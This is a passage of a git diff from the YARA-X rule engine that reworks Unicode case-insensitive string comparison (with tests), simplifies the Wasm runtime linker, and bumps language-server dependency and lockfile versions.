//! - [`Store`]: Manages execution state and holds user-defined data (e.g., //! `ScanContext`). -//! - [`Linker`]: Registers and links host-defined functions and globals into -//! Wasm modules. +//! - [`Linker`]: Registers and links host-defined functions into Wasm +//! modules. //! - [`Caller`]: Exposes the execution context and mutable access to the store //! within host callbacks. //! - [`Memory`]: Provides structured access to Wasm linear memory. diff --git a/lib/src/wasm/runtime/native.rs b/lib/src/wasm/runtime/native.rs index 036505658..ed5104c1b 100644 --- a/lib/src/wasm/runtime/native.rs +++ b/lib/src/wasm/runtime/native.rs @@ -5,16 +5,12 @@ use std::mem::transmute; -use crate::errors::SerializationError; -use anyhow::anyhow; - pub use wasmtime::Caller; /// Wasmtime types re-exported by the native runtime. pub(crate) use wasmtime::{ - AsContext, AsContextMut, Config, Engine, Extern, FuncType, Global, - GlobalType, Instance, Memory, MemoryType, Mutability, OptLevel, Store, - TypedFunc, Val, ValRaw, ValType, + AsContext, AsContextMut, Config, Engine, FuncType, Global, Instance, + Memory, OptLevel, Store, TypedFunc, Val, ValRaw, ValType, }; #[derive(Clone)] @@ -108,26 +104,12 @@ impl Linker { } } - /// Defines an extern import. - pub fn define( - &mut self, - store: impl AsContext, - module: &str, - name: &str, - item: impl Into, - ) -> wasmtime::Result<&mut Self> { - self.0.define(store, module, name, item)?; - Ok(self) - } - /// Instantiates `module` with the imports currently registered. pub fn instantiate( &self, store: impl AsContextMut, module: &Module, - ) -> Result { - self.0 - .instantiate(store, &module.0) - .map_err(|e| SerializationError::InvalidWASM(anyhow!(e))) + ) -> wasmtime::Result { + self.0.instantiate(store, &module.0) } } diff --git a/lib/src/wasm/string.rs b/lib/src/wasm/string.rs index 323767bc9..74c76ccd6 100644 --- a/lib/src/wasm/string.rs +++ b/lib/src/wasm/string.rs @@ -1,7 +1,9 @@ +#![allow(rustdoc::private_intra_doc_links)] + use bstr::{BStr, BString, ByteSlice, Utf8Error}; use std::rc::Rc; -use crate::compiler::LiteralId; +use crate::compiler::{LiteralId, LiteralSetId}; use crate::scanner::{ RuntimeObject, RuntimeObjectHandle, ScanContext, ScanState, }; @@ -114,7 +116,7 @@ impl String for RuntimeString { handle | 1 } Self::ScannedDataSlice { offset, length } => { - if length >= u16::MAX as usize { + if length > u16::MAX as usize { panic!( "runtime-string slices can't be larger than {}", u16::MAX @@ -127,14 +129,17 @@ impl String for RuntimeString { /// Creates a [`RuntimeString`] from a reference to a byte slice. /// - /// If the original slice is contained within the scanned data, this - /// function returns the [`RuntimeString::ScannedDataSlice`] variant, which - /// doesn't need to copy the string data. + /// If the original slice is contained within the scanned data and its + /// length fits in a `u16`, this function returns the + /// [`RuntimeString::ScannedDataSlice`] variant, which doesn't need to copy + /// the string data. /// /// In any other case it makes a copy of the string and return the /// [`RuntimeString::Rc`] variant. fn from_slice(ctx: &ScanContext, s: &[u8]) -> Self { - if let ScanState::ScanningData(data) = &ctx.scan_state { + if s.len() <= u16::MAX as usize + && let ScanState::ScanningData(data) = &ctx.scan_state + { let data = data.as_ref(); let data_start = data.as_ptr() as usize; let data_end = data_start + data.len(); @@ -159,7 +164,7 @@ impl RuntimeString { pub fn as_bstr<'a>(&'a self, ctx: &'a ScanContext) -> &'a BStr { match self { Self::Literal(id) => { - ctx.compiled_rules.lit_pool().get(*id).unwrap() + ctx.compiled_rules.literal_pool().get(*id).unwrap() } Self::ScannedDataSlice { offset, length } => { let data = ctx.scanned_data().unwrap(); @@ -253,22 +258,13 @@ impl RuntimeString { ctx: &ScanContext, case_insensitive: bool, ) -> bool { + let this = self.as_bstr(ctx); + let other = other.as_bstr(ctx); + if case_insensitive { - let this = self.as_bstr(ctx); - let other = other.as_bstr(ctx); - - if this.is_ascii() && other.is_ascii() { - contains_ascii_case_insensitive( - this.as_bytes(), - other.as_bytes(), - ) - } else { - let this = this.to_lowercase(); - let other = other.to_lowercase(); - this.contains_str(other) - } + contains_case_insensitive(this.as_bytes(), other.as_bytes()) } else { - self.as_bstr(ctx).contains_str(other.as_bstr(ctx)) + this.contains_str(other) } } @@ -279,22 +275,13 @@ impl RuntimeString { ctx: &ScanContext, case_insensitive: bool, ) -> bool { + let this = self.as_bstr(ctx); + let other = other.as_bstr(ctx); + if case_insensitive { - let this = self.as_bstr(ctx); - let other = other.as_bstr(ctx); - - if this.is_ascii() && other.is_ascii() { - starts_with_ascii_case_insensitive( - this.as_bytes(), - other.as_bytes(), - ) - } else { - let this = this.to_lowercase(); - let other = other.to_lowercase(); - this.starts_with_str(other) - } + starts_with_case_insensitive(this.as_bytes(), other.as_bytes()) } else { - self.as_bstr(ctx).starts_with_str(other.as_bstr(ctx)) + this.starts_with_str(other) } } @@ -305,22 +292,13 @@ impl RuntimeString { ctx: &ScanContext, case_insensitive: bool, ) -> bool { + let this = self.as_bstr(ctx); + let other = other.as_bstr(ctx); + if case_insensitive { - let this = self.as_bstr(ctx); - let other = other.as_bstr(ctx); - - if this.is_ascii() && other.is_ascii() { - ends_with_ascii_case_insensitive( - this.as_bytes(), - other.as_bytes(), - ) - } else { - let this = this.to_lowercase(); - let other = other.to_lowercase(); - this.ends_with_str(other) - } + ends_with_case_insensitive(this.as_bytes(), other.as_bytes()) } else { - self.as_bstr(ctx).ends_with_str(other.as_bstr(ctx)) + this.ends_with_str(other) } } @@ -331,23 +309,239 @@ impl RuntimeString { ctx: &ScanContext, case_insensitive: bool, ) -> bool { + let this = self.as_bstr(ctx); + let other = other.as_bstr(ctx); + + if case_insensitive { + equals_case_insensitive(this.as_bytes(), other.as_bytes()) + } else { + this.eq(other) + } + } + + #[inline] + pub(crate) fn contains_many( + &self, + literal_set: LiteralSetId, + ctx: &ScanContext, + case_insensitive: bool, + ) -> bool { + let this = self.as_bstr(ctx); + let literal_pool = ctx.compiled_rules.literal_pool(); + let literals = ctx.compiled_rules.get_literal_set(literal_set); + + if case_insensitive { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + contains_case_insensitive(this.as_bytes(), other.as_bytes()) + }) + } else { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + this.contains_str(other) + }) + } + } + + #[inline] + pub(crate) fn starts_with_many( + &self, + literal_set: LiteralSetId, + ctx: &ScanContext, + case_insensitive: bool, + ) -> bool { + let this = self.as_bstr(ctx); + let literal_pool = ctx.compiled_rules.literal_pool(); + let literals = ctx.compiled_rules.get_literal_set(literal_set); + + if case_insensitive { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + starts_with_case_insensitive(this.as_bytes(), other.as_bytes()) + }) + } else { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + this.starts_with_str(other) + }) + } + } + + #[inline] + pub(crate) fn ends_with_many( + &self, + literal_set: LiteralSetId, + ctx: &ScanContext, + case_insensitive: bool, + ) -> bool { + let this = self.as_bstr(ctx); + let literal_pool = ctx.compiled_rules.literal_pool(); + let literals = ctx.compiled_rules.get_literal_set(literal_set); + + if case_insensitive { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + ends_with_case_insensitive(this.as_bytes(), other.as_bytes()) + }) + } else { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + this.ends_with_str(other) + }) + } + } + + #[inline] + pub(crate) fn equals_many( + &self, + literal_set: LiteralSetId, + ctx: &ScanContext, + case_insensitive: bool, + ) -> bool { + let this = self.as_bstr(ctx); + let literal_pool = ctx.compiled_rules.literal_pool(); + let literals = ctx.compiled_rules.get_literal_set(literal_set); + if case_insensitive { - let this = self.as_bstr(ctx); - let other = other.as_bstr(ctx); - - if this.is_ascii() && other.is_ascii() { - this.as_bytes().eq_ignore_ascii_case(other.as_bytes()) - } else { - let this = this.to_lowercase(); - let other = other.to_lowercase(); - this.eq(&other) + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + equals_case_insensitive(this.as_bytes(), other.as_bytes()) + }) + } else { + literals.iter().any(|&lit_id| { + let other = literal_pool.get(lit_id).unwrap(); + this.eq(other) + }) + } + } +} + +/// Zero-allocation iterator over the lowercased characters (and raw invalid +/// UTF-8 bytes) of a byte slice. +#[derive(Clone)] +struct LowercaseChars<'a> { + bytes: &'a [u8], + pending: Option, +} + +impl<'a> LowercaseChars<'a> { + #[inline] + fn new(bytes: &'a [u8]) -> Self { + Self { bytes, pending: None } + } +} + +impl Iterator for LowercaseChars<'_> { + type Item = u32; + + #[inline] + fn next(&mut self) -> Option { + if let Some(ref mut lower) = self.pending { + if let Some(c) = lower.next() { + return Some(c as u32); + } + self.pending = None; + } + + let (&first_byte, rest) = self.bytes.split_first()?; + + if first_byte.is_ascii() { + self.bytes = rest; + return Some(first_byte.to_ascii_lowercase() as u32); + } + + let (ch, size) = bstr::decode_utf8(self.bytes); + if let Some(ch) = ch { + self.bytes = &self.bytes[size..]; + let mut lower = ch.to_lowercase(); + let first = lower.next()? as u32; + if lower.len() > 0 { + self.pending = Some(lower); + } + Some(first) + } else { + self.bytes = rest; + Some(u32::from(first_byte) | 0x8000_0000) + } + } +} + +/// Zero-allocation reverse iterator over the lowercased characters (and raw +/// invalid UTF-8 bytes) of a byte slice. +struct LowercaseCharsRev<'a> { + bytes: &'a [u8], + pending: Option, +} + +impl<'a> LowercaseCharsRev<'a> { + #[inline] + fn new(bytes: &'a [u8]) -> Self { + Self { bytes, pending: None } + } +} + +impl Iterator for LowercaseCharsRev<'_> { + type Item = u32; + + #[inline] + fn next(&mut self) -> Option { + if let Some(ref mut lower) = self.pending { + if let Some(c) = lower.next_back() { + return Some(c as u32); } + self.pending = None; + } + + let (&last_byte, rest) = self.bytes.split_last()?; + + if last_byte.is_ascii() { + self.bytes = rest; + return Some(last_byte.to_ascii_lowercase() as u32); + } + + let (ch, size) = bstr::decode_last_utf8(self.bytes); + if let Some(ch) = ch { + self.bytes = &self.bytes[..self.bytes.len() - size]; + let mut lower = ch.to_lowercase(); + let last = lower.next_back()? as u32; + if lower.len() > 0 { + self.pending = Some(lower); + } + Some(last) } else { - self.as_bstr(ctx).eq(other.as_bstr(ctx)) + self.bytes = rest; + Some(u32::from(last_byte) | 0x8000_0000) } } } +/// Returns the index of the first pair of bytes produced by `a` and `b` that +/// are not equal when ignoring ASCII case, or `None` if all pairs are equal. +/// +/// Pairs containing a non-ASCII byte are never considered equal, so all the +/// bytes before the returned index are ASCII in both inputs, which means +/// that the index is a character boundary in both. +#[inline] +fn ascii_case_insensitive_mismatch<'a>( + a: impl Iterator, + b: impl Iterator, +) -> Option { + a.zip(b).position(|(x, y)| !(x.is_ascii() && x.eq_ignore_ascii_case(y))) +} + +/// Case-insensitive `contains`. +#[inline] +fn contains_case_insensitive(haystack: &[u8], needle: &[u8]) -> bool { + // The fast path requires both strings to be ASCII, because some non-ASCII + // characters are lowercased to ASCII (e.g. U+212A KELVIN SIGN -> 'k'). + if haystack.is_ascii() && needle.is_ascii() { + contains_ascii_case_insensitive(haystack, needle) + } else { + contains_unicode_case_insensitive(haystack, needle) + } +} + +/// Case-insensitive `contains` for strings that are both ASCII. #[inline] fn contains_ascii_case_insensitive(haystack: &[u8], needle: &[u8]) -> bool { if needle.is_empty() { @@ -363,17 +557,100 @@ fn contains_ascii_case_insensitive(haystack: &[u8], needle: &[u8]) -> bool { .any(|window| window.eq_ignore_ascii_case(needle)) } +/// Case-insensitive `contains` for arbitrary strings. +#[cold] +#[inline(never)] +fn contains_unicode_case_insensitive(haystack: &[u8], needle: &[u8]) -> bool { + // Try every position in the lowercased haystack, including positions in + // the middle of characters that are lowercased to multiple characters + // (e.g. 'İ' -> "i\u{307}"). + let mut h = LowercaseChars::new(haystack); + loop { + let mut candidate = h.clone(); + if LowercaseChars::new(needle).all(|c| candidate.next() == Some(c)) { + return true; + } + if h.next().is_none() { + return false; + } + } +} + +/// Case-insensitive `startswith`. +/// +/// Bytes are compared ignoring ASCII case up to the first pair of bytes that +/// don't match. If both bytes are ASCII the result is `false`. Otherwise, the +/// rest of the strings are compared using full Unicode lowercasing, because +/// lowercasing a non-ASCII character can change its length in bytes, or even +/// produce an ASCII character (e.g. U+212A KELVIN SIGN -> 'k'). #[inline] -fn starts_with_ascii_case_insensitive(haystack: &[u8], prefix: &[u8]) -> bool { - haystack.len() >= prefix.len() - && haystack[..prefix.len()].eq_ignore_ascii_case(prefix) +fn starts_with_case_insensitive(haystack: &[u8], prefix: &[u8]) -> bool { + let Some(i) = + ascii_case_insensitive_mismatch(haystack.iter(), prefix.iter()) + else { + // All compared bytes matched; fails only if the haystack ran out. + return haystack.len() >= prefix.len(); + }; + if haystack[i].is_ascii() && prefix[i].is_ascii() { + return false; + } + starts_with_unicode_case_insensitive(&haystack[i..], &prefix[i..]) +} + +#[cold] +#[inline(never)] +fn starts_with_unicode_case_insensitive( + haystack: &[u8], + prefix: &[u8], +) -> bool { + let mut h = LowercaseChars::new(haystack); + LowercaseChars::new(prefix).all(|c| h.next() == Some(c)) } +/// Case-insensitive `endswith`. Works like [`starts_with_case_insensitive`], +/// but comparing the strings from the end. #[inline] -fn ends_with_ascii_case_insensitive(haystack: &[u8], suffix: &[u8]) -> bool { - haystack.len() >= suffix.len() - && haystack[haystack.len() - suffix.len()..] - .eq_ignore_ascii_case(suffix) +fn ends_with_case_insensitive(haystack: &[u8], suffix: &[u8]) -> bool { + let Some(i) = ascii_case_insensitive_mismatch( + haystack.iter().rev(), + suffix.iter().rev(), + ) else { + // All compared bytes matched; fails only if the haystack ran out. + return haystack.len() >= suffix.len(); + }; + // The last `i` bytes of both strings matched, the mismatching bytes are + // the ones right before them. + let (h_end, s_end) = (haystack.len() - i, suffix.len() - i); + if haystack[h_end - 1].is_ascii() && suffix[s_end - 1].is_ascii() { + return false; + } + ends_with_unicode_case_insensitive(&haystack[..h_end], &suffix[..s_end]) +} + +#[cold] +#[inline(never)] +fn ends_with_unicode_case_insensitive(haystack: &[u8], suffix: &[u8]) -> bool { + let mut h = LowercaseCharsRev::new(haystack); + LowercaseCharsRev::new(suffix).all(|c| h.next() == Some(c)) +} + +/// Case-insensitive equality. Works like [`starts_with_case_insensitive`]. +#[inline] +fn equals_case_insensitive(a: &[u8], b: &[u8]) -> bool { + let Some(i) = ascii_case_insensitive_mismatch(a.iter(), b.iter()) else { + // All compared bytes matched; equal only if no bytes are left. + return a.len() == b.len(); + }; + if a[i].is_ascii() && b[i].is_ascii() { + return false; + } + equals_unicode_case_insensitive(&a[i..], &b[i..]) +} + +#[cold] +#[inline(never)] +fn equals_unicode_case_insensitive(a: &[u8], b: &[u8]) -> bool { + LowercaseChars::new(a).eq(LowercaseChars::new(b)) } /// Special kind of [RuntimeString] that has a fixed length. @@ -450,3 +727,73 @@ impl String for Uppercase { Self(S::from_slice(ctx, s)) } } + +#[cfg(test)] +mod tests { + use bstr::ByteSlice; + + use super::{ + contains_case_insensitive, ends_with_case_insensitive, + equals_case_insensitive, starts_with_case_insensitive, + }; + + /// Pairs of strings used for checking the case-insensitive functions + /// against a reference implementation that lowercases both strings with + /// [`ByteSlice::to_lowercase`] and then compares the results. + const CASES: &[(&[u8], &[u8])] = &[ + (b"", b""), + (b"foo", b""), + (b"foobar", b"FOO"), + (b"foobar", b"BAR"), + (b"foobar", b"OBA"), + (b"foobar", b"baz"), + (b"fo", b"FOO"), + ("mañana".as_bytes(), "MAÑ".as_bytes()), + ("mañana".as_bytes(), b"MAN"), + ("CAFÉ".as_bytes(), "fé".as_bytes()), + // U+212A KELVIN SIGN is lowercased to 'k'. + ("\u{212A}elvin".as_bytes(), b"KEL"), + ("\u{212A}".as_bytes(), b"k"), + ("ABC\u{212A}".as_bytes(), b"k"), + ("x\u{212A}x".as_bytes(), b"k"), + // 'İ' is lowercased to "i\u{307}". + ("İstanbul".as_bytes(), b"i"), + ("İ".as_bytes(), "\u{307}".as_bytes()), + // 'Ⱥ' (2 bytes) is lowercased to 'ⱥ' (3 bytes). + ("Ⱥ".as_bytes(), "ⱥ".as_bytes()), + // 'Ɐ' (3 bytes) is lowercased to 'ɐ' (2 bytes). + ("Ɐ".as_bytes(), "ɐ".as_bytes()), + // Invalid UTF-8. + (b"\xFFFOO\xFF", b"\xFFfoo\xFF"), + ]; + + #[test] + fn case_insensitive_ops() { + for &(x, y) in CASES { + for (a, b) in [(x, y), (y, x)] { + let (a_lower, b_lower) = (a.to_lowercase(), b.to_lowercase()); + let (a, b) = (a.as_bstr(), b.as_bstr()); + assert_eq!( + starts_with_case_insensitive(a, b), + a_lower.starts_with_str(&b_lower), + "{a:?} istartswith {b:?}" + ); + assert_eq!( + ends_with_case_insensitive(a, b), + a_lower.ends_with_str(&b_lower), + "{a:?} iendswith {b:?}" + ); + assert_eq!( + equals_case_insensitive(a, b), + a_lower == b_lower, + "{a:?} iequals {b:?}" + ); + assert_eq!( + contains_case_insensitive(a, b), + a_lower.contains_str(&b_lower), + "{a:?} icontains {b:?}" + ); + } + } + } +} diff --git a/ls/Cargo.toml b/ls/Cargo.toml index e6ba28842..28992d4ef 100644 --- a/ls/Cargo.toml +++ b/ls/Cargo.toml @@ -27,18 +27,19 @@ magic-module = ["yara-x/magic-module"] [dependencies] bitflags = { workspace = true } chrono = { workspace = true, features = ["serde"] } -dashmap = { version = "6.1.0" } -futures = "0.3.32" +clap = { workspace = true, features = ["cargo"] } +dashmap = { version = "6.2.1" } +futures = "0.3.34" regex = { workspace = true } -tower = { version = "0.5.2" } +tower = { version = "0.5.3" } tracing = { version = "0.1.44", optional = true } -tracing-subscriber = { version = "0.3.22", optional = true } +tracing-subscriber = { version = "0.3.23", optional = true } itertools = { workspace = true} serde = { workspace = true } serde_json = { workspace = true } yara-x-parser = { workspace = true } yara-x-fmt = { workspace = true } -yara-x = { workspace = true } +yara-x = { workspace = true, default-features = true } [target.'cfg(not(target_family = "wasm"))'.dependencies] tokio = { version = "1.48.0", features = ["full"] } @@ -61,3 +62,10 @@ web-sys = { version = "0.3.90", features = [ [dev-dependencies] goldenfile = { workspace = true } +# Enables the test modules when building the LS tests, so they are suggested +# in completion tests. Doesn't affect the release build of the language +# server. +yara-x = { workspace = true, features = [ + "test_proto2-module", + "test_proto3-module", +] } diff --git a/ls/README.md b/ls/README.md index aa375c62c..bb680183a 100644 --- a/ls/README.md +++ b/ls/README.md @@ -12,7 +12,7 @@ in TypeScript (see: editors/code). $ cargo build --bin yr-ls --release && mv target/release/yr-ls ls/editors/code/dist ``` -2. Move to the `ls/editors/code`, install dependencies and compile the extension: +2. Move to the `ls/editors/code` directory, install dependencies and compile the extension: ```sh $ npm i $ npm run compile diff --git a/ls/editors/code/README.md b/ls/editors/code/README.md index 68cb60e29..d50133f70 100644 --- a/ls/editors/code/README.md +++ b/ls/editors/code/README.md @@ -93,6 +93,16 @@ the following properties: `"^(draft|reviewed|approved)$"` restricts the field to those values. Patterns use Rust's regex syntax. For more information see: https://docs.rs/regex/latest/regex/ +### `YARA.documentation` + +Type: `object` +Default: `{ "showRuleStringsBlock": false, "showRuleConditionBlock": false }` + +Controls which sections of a rule are included in documentation popups for Hover and Code Completion: + +* `showRuleStringsBlock` (boolean, optional): If `true`, includes the rule's `strings` section in documentation. Defaults to `false`. +* `showRuleConditionBlock` (boolean, optional): If `true`, includes the rule's `condition` section in documentation. Defaults to `false`. + For accessing these settings go to the Settings

diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index ead3b61a4..dad154419 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -278,9 +278,9 @@ } }, "node_modules/@eslint/config-array/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", "dev": true, "license": "MIT", "dependencies": { @@ -352,9 +352,9 @@ } }, "node_modules/@eslint/eslintrc/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", "dev": true, "license": "MIT", "dependencies": { @@ -423,29 +423,43 @@ } }, "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", "dev": true, "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, "engines": { "node": ">=18.18.0" } }, "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", "dev": true, "license": "Apache-2.0", "dependencies": { - "@humanfs/core": "^0.19.1", + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", "@humanwhocodes/retry": "^0.4.0" }, "engines": { "node": ">=18.18.0" } }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, "node_modules/@humanwhocodes/module-importer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", @@ -1304,16 +1318,16 @@ } }, "node_modules/@vscode/vsce/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/@vscode/vsce/node_modules/minimatch": { @@ -1534,9 +1548,9 @@ "license": "BSD-2-Clause" }, "node_modules/brace-expansion": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz", - "integrity": "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==", + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0" @@ -2258,9 +2272,9 @@ } }, "node_modules/eslint/node_modules/brace-expansion": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", "dev": true, "license": "MIT", "dependencies": { @@ -2444,9 +2458,9 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.2.tgz", - "integrity": "sha512-rVjf7ArG3LTk+FS6Yw81V1DLuZl1bRbNrev6Tmd/9RaroeeRRJhAt7jg/6YFxbvAQXUCavSoZhPPj6oOx+5KjQ==", + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.9.tgz", + "integrity": "sha512-hS/0Wt3Ya043oKXs0sIxrMpKQITXhMLIrVAKKXi4gozGC9v7YRWVnXIZzjNPTO02M9BdxLCWqK1yRXgNziVyJQ==", "dev": true, "funding": [ { @@ -2691,16 +2705,16 @@ } }, "node_modules/glob/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz", + "integrity": "sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==", "dev": true, "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" }, "engines": { - "node": "18 || 20 || >=22" + "node": "20 || >=22" } }, "node_modules/glob/node_modules/minimatch": { @@ -3134,9 +3148,9 @@ "license": "MIT" }, "node_modules/js-yaml": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.2.0.tgz", - "integrity": "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.2.tgz", + "integrity": "sha512-SFNOvSJ+Dgf/9An904Yx+CgSlIPCkIpao4qo51lpee25TIRejdH3rhR4EZMGoNx3/TP3O+wzWuiTFl4sqbltzA==", "dev": true, "funding": [ { @@ -3304,9 +3318,9 @@ } }, "node_modules/linkify-it": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.1.tgz", - "integrity": "sha512-wVoTjP4Q6R0NW5hiZkVJaFZPWgtXfoGF+6LucL3/FtiNjmcHhYjEr5f1Kqjirc1nBW07J/ZuRFumqr2oqccEWg==", + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.2.tgz", + "integrity": "sha512-ONTm2jCMAVZjgQa/Fy1kScXsuOoF5NPTsoFBdE1KVIZ2vAh/r9+Bqo+0jINCBYnavTPQZz38QzFTme79ENoN3Q==", "dev": true, "funding": [ { @@ -3423,9 +3437,9 @@ } }, "node_modules/markdown-it": { - "version": "14.2.0", - "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.2.0.tgz", - "integrity": "sha512-1TGiQiJVRQ3NPmZH6sx5Cfnmg6GQm9jvC1ch4TK511NjSJvjzKLzn5pPfZRNZkRPZP0HqCioSndqH8v2nRaWVQ==", + "version": "14.3.3", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.3.3.tgz", + "integrity": "sha512-L//tDAkjTjJCU6pBUSBTgs3Kg4InVaZuUZog/b6V12UKhcDQ7S78877ibbCanRExwPuYP1CZD7Gd2dxSy1GXRg==", "dev": true, "funding": [ { @@ -3440,8 +3454,8 @@ "license": "MIT", "dependencies": { "argparse": "^2.0.1", - "entities": "^4.4.0", - "linkify-it": "^5.0.1", + "entities": "^4.5.0", + "linkify-it": "^5.0.2", "mdurl": "^2.0.0", "punycode.js": "^2.3.1", "uc.micro": "^2.1.0" @@ -3581,16 +3595,16 @@ } }, "node_modules/minimatch/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": 